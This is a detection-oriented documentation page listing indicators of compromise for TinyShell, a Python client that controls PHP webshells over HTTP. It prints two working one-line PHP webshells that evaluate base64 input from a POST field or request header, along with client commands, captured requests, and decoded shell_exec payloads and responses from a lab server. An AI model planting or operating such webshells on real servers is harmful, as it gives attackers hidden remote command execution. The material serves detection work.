TinyShell IOCs¶
TinyShell is a python command shell used to control and excute commands through HTTP requests to a webshell. TinyShell acts as the interface to the remote webshells. TinyShell is based on it's companion project SubShell (https://github.com/minisllc/subshell) and the China Chopper Webshell (https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html)
The following are some of the indicators generated by TinyShell.
Post Mode¶
TinyShell operating in the Base64 HTTP Post Mode using PHP. Commands are sent via a HTTP POST request.
Shell¶
<?php @eval(base64_decode($_POST['token']));?>
Note
The "password" is set to token. This can be changed to any value. It is referenced as "--password=" by the TinyShell client.
Client Command¶
python tinyshell.py --url http://10.203.63.80/upload/uploads/tinyshell.php --password=token --mode=base64_post --language=PHP
HTTP Request Sent by Client¶
POST /upload/uploads/tinyshell.php HTTP/1.1
Host: 10.203.63.80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Content-Length: 216
Content-Type: application/x-www-form-urlencoded
token=ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdaR2x5SUdNNlhIaGhiWEJ3WEdoMFpHOWpjMXh3YjNKMFlXeGZORGhjZFhCc2IyRmtYSFZ3Ykc5aFpITT0nKSAuICIgMj4mMSIpKSAuICIgOlRPS0VOX0NTUkYiKTs%3D
HTTP Response¶
HTTP/1.1 200 OK
Date: Wed, 13 Dec 2017 20:45:25 GMT
Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28
X-Powered-By: PHP/5.5.28
Content-Length: 504
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
CSRF_TOKEN: IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDRFNjEtM0YzMQoKIERpcmVjdG9yeSBvZiBjOlx4YW1wcFxodGRvY3NccG9ydGFsXzQ4XHVwbG9hZFx1cGxvYWRzCgoxMi8xMy8yMDE3ICAwODo0MyBQTSAgICA8RElSPiAgICAgICAgICAuCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgIDxESVI+ICAgICAgICAgIC4uCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgICAgICAgICAgICAgIDQ2IHRpbnlzaGVsbC5waHAKICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICAgICAgICAgIDQ2IGJ5dGVzCiAgICAgICAgICAgICAgIDIgRGlyKHMpICAxOSwwMDksNDQ5LDk4NCBieXRlcyBmcmVlCg== :TOKEN_CSRF
Note
This is a standalone copy of TinyShell. If this was added to an existing file, the response would contain the HTML of the source page.
The terms "CSRF_TOKEN:" and ":TOKEN_CSRF" are headers and footers that wrap the encoded response. These values are adjustable.
Decoding the Payload¶
Base64 Payload
ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdaR2x5SUdNNlhIaGhiWEJ3WEdoMFpHOWpjMXh3YjNKMFlXeGZORGhjZFhCc2IyRmtYSFZ3Ykc5aFpITT0nKSAuICIgMj4mMSIpKSAuICIgOlRPS0VOX0NTUkYiKTs=
Decode Step 1
echo("CSRF_TOKEN: " . base64_encode(shell_exec(base64_decode('ZGlyIGM6XHhhbXBwXGh0ZG9jc1xwb3J0YWxfNDhcdXBsb2FkXHVwbG9hZHM=') . " 2>&1")) . " :TOKEN_CSRF");
Decode Step 2
dir c:\xampp\htdocs\portal_48\upload\uploads
Note
This is the command set to the TinyShell web shell.
Decoding the Response¶
Encoded Response
IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDRFNjEtM0YzMQoKIERpcmVjdG9yeSBvZiBjOlx4YW1wcFxodGRvY3NccG9ydGFsXzQ4XHVwbG9hZFx1cGxvYWRzCgoxMi8xMy8yMDE3ICAwODo0MyBQTSAgICA8RElSPiAgICAgICAgICAuCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgIDxESVI+ICAgICAgICAgIC4uCjEyLzEzLzIwMTcgIDA4OjQzIFBNICAgICAgICAgICAgICAgIDQ2IHRpbnlzaGVsbC5waHAKICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICAgICAgICAgIDQ2IGJ5dGVzCiAgICAgICAgICAgICAgIDIgRGlyKHMpICAxOSwwMDksNDQ5LDk4NCBieXRlcyBmcmVlCg==
Decoded Response
Volume in drive C has no label.
Volume Serial Number is 4E61-3F31
Directory of c:\xampp\htdocs\portal_48\upload\uploads
12/13/2017 08:43 PM <DIR> .
12/13/2017 08:43 PM <DIR> ..
12/13/2017 08:43 PM 46 tinyshell.php
1 File(s) 46 bytes
2 Dir(s) 19,009,449,984 bytes free
Note
This is the response rendered in the TinyShell console.
Header Mode¶
TinyShell operating in the Base64 HTTP Header Mode using PHP. Commands are sent via a HTTP HEADE.
Shell¶
<?php @eval(base64_decode($_SERVER['HTTP_PSESSION']));?>
Note
The "password" is set to "PSESSION". This can be changed to any value. It is referenced as "--password=" by the TinyShell client.
Client Command¶
python tinyshell.py --url=http://10.203.63.80/upload/uploads/tinyshell.php--language=php --password=psession --mode=base64_header
HTTP Request Sent by Client¶
POST /upload/uploads/tinyshell.php HTTP/1.1
Host: 10.203.63.80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
psession: ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdZMlE9JykgLiAiIDI+JjEiKSkgLiAiIDpUT0tFTl9DU1JGIik7
Content-Length: 0
HTTP Response¶
HTTP/1.1 200 OK
Date: Thu, 14 Dec 2017 02:46:56 GMT
Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28
X-Powered-By: PHP/5.5.28
Content-Length: 80
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
CSRF_TOKEN: QzpceGFtcHBcaHRkb2NzXHBvcnRhbF80OFx1cGxvYWRcdXBsb2Fkcwo= :TOKEN_CSRFPOST /upload/uploads/tinyshell.php
Decoding the Payload¶
Base64 Payload
ZWNobygiQ1NSRl9UT0tFTjogIiAuIGJhc2U2NF9lbmNvZGUoc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCdZMlE9JykgLiAiIDI+JjEiKSkgLiAiIDpUT0tFTl9DU1JGIik7
Decode Step 1
echo("CSRF_TOKEN: " . base64_encode(shell_exec(base64_decode('Y2Q=') . " 2>&1")) . " :TOKEN_CSRF");
Decode Step 2
cd
Decoding the Response¶
Encoded Response
QzpceGFtcHBcaHRkb2NzXHBvcnRhbF80OFx1cGxvYWRcdXBsb2Fkcwo=
Decoded Response
C:\xampp\htdocs\portal_48\upload\uploads
Note
This is the response rendered in the TinyShell console.